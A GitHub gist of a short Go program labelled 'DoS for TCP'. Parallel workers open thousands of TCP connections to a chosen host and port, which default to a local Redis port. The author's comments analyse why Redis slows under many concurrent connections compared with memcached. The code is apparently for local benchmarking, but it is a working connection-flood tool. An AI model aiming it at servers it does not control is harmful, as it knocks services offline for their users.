Skip to content

Instantly share code, notes, and snippets.

@yoppi
Last active May 12, 2017 04:17
Show Gist options
  • Save yoppi/4929bfd85851d77b30d18110bd5898e7 to your computer and use it in GitHub Desktop.
Save yoppi/4929bfd85851d77b30d18110bd5898e7 to your computer and use it in GitHub Desktop.
DoS for TCP
package main
import (
"bytes"
"flag"
"fmt"
"net"
"runtime"
"strconv"
"sync"
"time"
)
var workerNum int
var host string
var port string
var wg sync.WaitGroup
const maxConn = 10000
func init() {
flag.IntVar(&workerNum, "worker", 8, "Number of worker")
flag.StringVar(&host, "host", "127.0.0.1", "Host for server")
flag.StringVar(&port, "port", "6379", "Port for server")
flag.Parse()
}
func getGoroutineID() uint64 {
b := make([]byte, 64)
b = b[:runtime.Stack(b, false)]
b = bytes.TrimPrefix(b, []byte("goroutine "))
b = b[:bytes.IndexByte(b, ' ')]
n, _ := strconv.ParseUint(string(b), 10, 64)
return n
}
func tcpDos() {
var connSize int
var connErr int
//var conns map[int]net.Conn // fd : net.Conn
startAt := time.Now().UnixNano()
connCh := make(chan net.Conn)
ticker := time.Tick(100 * time.Microsecond)
for {
if connSize >= maxConn {
fmt.Printf("[%d] TIME:%f CONN:%d ERR:%d\n", getGoroutineID(), (float32)(time.Now().UnixNano()-startAt)/1000000000.0, connSize, connErr)
wg.Done()
break
}
select {
case <-connCh:
connSize++
case <-ticker:
go func() {
conn, err := net.Dial("tcp", host+":"+port)
if err != nil {
connErr++
// do we close connection?
} else {
connCh <- conn
}
}()
}
}
}
func main() {
for i := 0; i < workerNum; i++ {
wg.Add(1)
go tcpDos()
}
wg.Wait()
}
@yoppi
Copy link
Author

yoppi commented Apr 26, 2017

redis遅いのなんとなくわかってきた、気がする。コネクションのたびにclientをfreeするが、コネクションをdouble linked listで管理していてそこの計算に毎回O(n)かかってしまうので、同時接続数が増えるとここのコストで圧迫される感じがする。
memdは特に何もしてなくてコネクションの状態が変わったらclose、みたいな感じでシンプル。

@yoppi
Copy link
Author

yoppi commented May 12, 2017

redis
memcached

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment